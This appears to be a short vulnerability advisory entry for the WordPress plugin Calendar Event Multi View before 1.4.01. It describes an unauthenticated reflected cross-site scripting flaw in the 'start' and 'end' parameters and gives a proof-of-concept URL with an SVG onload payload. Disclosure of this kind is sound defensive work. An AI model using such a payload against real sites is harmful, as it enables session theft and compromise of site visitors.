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wpexploitIohexWPEX-ID:3C5A5187-42B3-4F88-9B0E-4FDFA1C39E86
HistoryJul 05, 2021 - 12:00 a.m.

Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2021-07-0500:00:00
iohex
208

0.002 Low

EPSS

Percentile

54.2%

The plugin does not sanitise or escape the ‘start’ and ‘end’ GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22
&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22

0.002 Low

EPSS

Percentile

54.2%

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